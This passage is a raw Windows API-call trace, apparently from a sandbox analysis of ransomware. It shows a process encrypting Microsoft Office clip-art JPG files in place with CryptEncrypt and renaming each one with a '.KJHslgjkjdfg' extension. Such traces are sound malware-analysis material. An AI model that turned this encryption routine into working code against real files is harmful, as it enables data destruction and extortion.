ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1531c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382947.JPG", cAlternateFileName="")) returned 1 [0213.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.660] GetProcessHeap () returned 0x2ef0000 [0213.660] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.660] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.660] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.660] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.663] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.663] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.663] GetProcessHeap () returned 0x2ef0000 [0213.663] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.663] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.663] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.664] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.664] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.664] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.664] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.664] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.664] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.664] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.664] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.665] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.665] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1531c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1531c, lpOverlapped=0x0) returned 1 [0213.667] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x15320, dwBufLen=0x15320 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x15320) returned 1 [0213.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.668] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x15320, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x15320, lpOverlapped=0x0) returned 1 [0213.669] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x153f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.669] SetEndOfFile (hFile=0x130) returned 1 [0213.672] GetProcessHeap () returned 0x2ef0000 [0213.672] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.672] GetProcessHeap () returned 0x2ef0000 [0213.672] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.672] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg.kjhslgjkjdfg")) returned 1 [0213.674] CloseHandle (hObject=0x130) returned 1 [0213.674] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ad37, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382948.JPG", cAlternateFileName="")) returned 1 [0213.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.675] GetProcessHeap () returned 0x2ef0000 [0213.675] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.675] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.675] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.675] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0213.678] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.678] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.678] GetProcessHeap () returned 0x2ef0000 [0213.678] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.678] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.679] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.679] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.679] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.679] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.679] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.679] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.679] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.679] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.680] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ad37, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1ad37, lpOverlapped=0x0) returned 1 [0213.685] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ad40, dwBufLen=0x1ad40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ad40) returned 1 [0213.687] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.687] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1ad40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1ad40, lpOverlapped=0x0) returned 1 [0213.687] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.687] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ae14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.687] SetEndOfFile (hFile=0x130) returned 1 [0213.691] GetProcessHeap () returned 0x2ef0000 [0213.691] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.691] GetProcessHeap () returned 0x2ef0000 [0213.691] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.691] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg.kjhslgjkjdfg")) returned 1 [0213.693] CloseHandle (hObject=0x130) returned 1 [0213.693] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x178d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382950.JPG", cAlternateFileName="")) returned 1 [0213.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.696] GetProcessHeap () returned 0x2ef0000 [0213.696] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.696] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.696] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0213.699] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.699] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.699] GetProcessHeap () returned 0x2ef0000 [0213.699] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.699] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.699] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.699] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.699] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.699] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.699] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.699] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.699] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.700] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.700] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.700] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.700] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x178d2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x178d2, lpOverlapped=0x0) returned 1 [0213.702] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x178e0, dwBufLen=0x178e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x178e0) returned 1 [0213.703] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.703] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x178e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x178e0, lpOverlapped=0x0) returned 1 [0213.704] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x179b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.704] SetEndOfFile (hFile=0x130) returned 1 [0213.707] GetProcessHeap () returned 0x2ef0000 [0213.707] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.707] GetProcessHeap () returned 0x2ef0000 [0213.707] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.707] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg.kjhslgjkjdfg")) returned 1 [0213.709] CloseHandle (hObject=0x130) returned 1 [0213.709] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17749, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382952.JPG", cAlternateFileName="")) returned 1 [0213.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.710] GetProcessHeap () returned 0x2ef0000 [0213.710] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.710] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.710] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x7, lpOverlapped=0x0) returned 1 [0213.714] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.714] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.714] GetProcessHeap () returned 0x2ef0000 [0213.714] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0213.714] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0213.714] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.714] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0213.715] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0213.715] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0213.715] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0213.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0213.715] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0213.715] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0213.715] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0213.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.715] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x17749, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x17749, lpOverlapped=0x0) returned 1 [0213.717] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x17750, dwBufLen=0x17750 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x17750) returned 1 [0213.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.719] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x17750, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x17750, lpOverlapped=0x0) returned 1 [0213.719] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0213.719] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.719] SetEndOfFile (hFile=0x130) returned 1 [0213.723] GetProcessHeap () returned 0x2ef0000 [0213.723] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0213.723] GetProcessHeap () returned 0x2ef0000 [0213.723] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0213.723] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg.kjhslgjkjdfg")) returned 1 [0213.725] CloseHandle (hObject=0x130) returned 1 [0213.725] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15a7f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382954.JPG", cAlternateFileName="")) returned 1 [0213.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.726] GetProcessHeap () returned 0x2ef0000 [0213.726] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0213.726] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0213.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0213.726] WriteFile (in: hFile=0x130, 